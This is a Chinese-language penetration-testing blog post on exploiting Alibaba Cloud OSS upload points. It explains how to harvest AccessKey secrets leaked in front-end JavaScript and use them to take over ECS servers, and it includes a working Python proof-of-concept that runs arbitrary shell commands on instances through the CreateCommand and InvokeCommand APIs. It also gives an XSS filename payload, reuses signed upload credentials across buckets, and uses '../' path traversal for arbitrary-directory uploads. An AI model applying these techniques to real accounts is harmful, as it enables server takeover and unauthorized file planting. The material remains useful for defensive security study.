OSS渗透目前最常见的方式就是得到Secret Key,那么如果Secret Key并没有被泄露难道就不可以被利用了吗?答案是否定的。
自笔者上篇文章末尾的“全域名”泛滥后,笔者来给大家通过官方给出的API代码分析的方式分析一下Secret Key的复用问题,因为在这里,某里云官方给的demo同样是存在此问题的。
在这里,笔者准备了一个购买了ECS的账号来跟大家进行演示。这个账号的资产为:
在真正的实战中,遇到我们喜爱的上传点时,我们会发现类似于如下HTTP请求:
当Options请求完毕后会发现一个上传包,并且携带了key:
那么此时已经可以确定为OSS上传点。
针对于类似于这种的包,我们会第一时间去翻看网站所引入的所有JavaScript外联,去查看是否在前端泄露了Secret Key。
在这里笔者先给大家简单的叙述一下查找到Secret Key意味着什么。
Access Key可以看作是阿里云的另一种账户密码。
OSS,ECS等等是阿里云账户下的产品,
当这个账户下有OSS产品,我们就可以用accesskey访问这个oss,
如果这个账户下有ECS,我们就能通过这个accesskey去操控ecs,执行命令。
在这里为了方便演示,我们首先将两台服务器设置跨域请求:
然后创建规则:
下面笔者创建一个实战模拟代码
源代码来自:https://files.cnblogs.com/files/ossteam/oss-h5-upload-js-direct.tar.gz
参考:https://www.cnblogs.com/ossteam/p/4942227.html
使用F12进行搜索Secret Key:
这是实战中一个典型的Secret Key泄露,也是能让大家眼前一亮的信息,那么我们下一步应该怎么做呢?
下载地址:http://gosspublic.alicdn.com/oss-browser/1.9.4/oss-browser-win32-x64.zip
在这里我们只需要将阿里云的AccessKeyId与AccessKeySecret填入就可以了。
这里我们就可以对这两台OSS服务器进行增删改查操作。
当然如果只可以管理两台静态服务器,那么这点权限也太小了,我们可以通过行云管家来进行管理ECS。
登陆行云管家:https://yun.cloudbility.com/
填入Access Key ID 与 Access Key Secret 即可接管ECS服务器。
导入成功后这里可以重置系统密码。
重置后ssh登录:
登录成功,但是显然这种非常大的动静并不是我们想要的。那么我们则需要使用OpenApi来实现命令执行。
在OpenApi官网:https://api.aliyun.com/中,存在 CreateCommand 与 InvokeCommand Api,我们可以借用这两个来实现命令执行。
参考文章:https://www.cnblogs.com/J0ng/p/13210147.html
只不过这些步骤太麻烦了,不如编写为POC来进行本地调用。
下面是笔者做好的POC:
#!/usr/bin/env python
#coding=utf-8
import json, base64
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest
from aliyunsdkecs.request.v20140526.InvokeCommandRequest import InvokeCommandRequest
ID = '' # Access Id
KEY = '' # Access Key
reGon = '' # 地区
InstanceId = [""] # 实例ID
CmdBytes = b'''ls /
'''# 要执行的命令
Cmd = base64.b64encode(CmdBytes).decode('utf-8')
CmdType = "RunShellScript"
# RunBatScript:创建一个在Windows实例中运行的 Bat 脚本。
# RunPowerShellScript:创建一个在Windows实例中运行的PowerShell脚本。
# RunShellScript:创建一个在Linux实例中运行的Shell脚本。
client = AcsClient(ID, KEY, reGon)
request = CreateCommandRequest()
request.set_accept_format('json')
request.set_Name("123123")
request.set_Type("RunShellScript")
request.set_CommandContent(Cmd)
response = client.do_action_with_exception(request)
print(str(response, encoding='utf-8'))
request2 = InvokeCommandRequest()
request2.set_accept_format('json')
request2.set_CommandId((json.loads(response))['CommandId'])
request2.set_InstanceIds(InstanceId)
response = client.do_action_with_exception(request2)
print(str(response, encoding='utf-8'))
只需要简单配置一下就可以了,配置如图:
配置好之后进行执行:
可以从云管理这边看到所执行的命令。
PS: 如果使用POC的方式注意安装Python库:
pip3 install aliyun-python-sdk-core-v3
pip3 install aliyun-python-sdk-cdn
pip3 install aliyun-python-sdk-ecs
毫无卵用的XSS
既然OSS可以上传任意mime类型,那么我们可以直接上传text/html来进行XSS操作,如图:
参考文章:http://pirogue.org/2017/09/29/aliyunoss/
不知为何,笔者这里复现失败,就不去尝试了。
根据上传点的回显来构造XSS
这也是笔者看到的另一种场景,也就是说,当你上传“1.jpg<script>alert(1)</script>”之后,随后输出在页面上,从而导致XSS,笔者这里也不进行复现了。
参考文章:https://www.freebuf.com/vuls/288206.html
好了,总结以上需要SecretKey的攻击手法后,我们再来看一下笔者今天想要说的“无需SecretKey”的利用方式。
根据以上种种案例迹象表明,只有当我们拿到SecretKey后才可以进行更危险的操作。
但是我们根据官方提供的PHP上传API来探究,事情到底是不是得有SecretKey才可以进行利用。
开发人员对待OSS的三种情况:
绘图如下:
当然这种方式是最危险的,在前面也讲过利用方式了。
这种方式是笔者见过开发者最多的一种方式,也是某云推荐的使用方式,咱们先看一下例图再进行挖掘它其中的问题。
这种方式也是最安全的方式了,大致如下:
在前面的图中我们也看到了,轮询的方式也是一种比较推荐的方式哈,只不过,这个服务器返回给我们的“密钥”到底是什么,我们还真不清楚。
那么我们查看官方文档:
那么笔者下载下来之后进行分析源代码:
我们可以看到,ID字段未经任何处理就拼接到了返回包中,signature存放了“密钥能存活多久”的key以及AccessSecretKey,将它们进行sha1加密,可以发现,host确确实实的是一动不动的,该密钥与Host没有一点关系。
那么我们可以猜想:这条密钥就是为了短暂的使用一下AccessKey,过期不候。
那么如果一个人有多台OSS呢?这条密钥是否可以复用。
那么我们捕获该php文件的返回结果,我们观察一下policy的base64解码值,如图:
policy值:
JTdCJTIyZXhwaXJhdGlvbiUyMiUzQSUyMjUxOTAtMDktMjNUMjAlM0ExNyUzQTI0LjAwMFolMjIlMkMlMjJjb25kaXRpb25zJTIyJTNBJTVCJTVCJTIyY29udGVudC1sZW5ndGgtcmFuZ2UlMjIlMkMwJTJDMTA0ODU3NjAwMCU1RCUyQyU1QiUyMnN0YXJ0cy13aXRoJTIyJTJDJTIyJTI0a2V5JTIyJTJDJTIydXNlci1kaXItcHJlZml4JTVDLyUyMiU1RCU1RCU3RA==
Base解密:
那么我们使用它们对tester1服务器进行文件上传操作:
可以看到,成功上传,那么我们将目标改为tester2,看返回结果:
可以看到,同一份密钥是可以上传多个服务器的。
根据笔者所发布的《记一次授权导致的全域名沦陷》:https://www.freebuf.com/vuls/303620.html,例图可以为:
如果手上已经持有了密钥,通过这次实验,则可以向该KeyId使用者的任意OSS服务器上传任意文件,只不过这里还有一点,有些上传点是必须要指明目录的,例如:
则key只能为Temp下的,但是我们可以生成带有../的文件名,如图:
这样依然可以生成凭据,从而进行任意目录上传。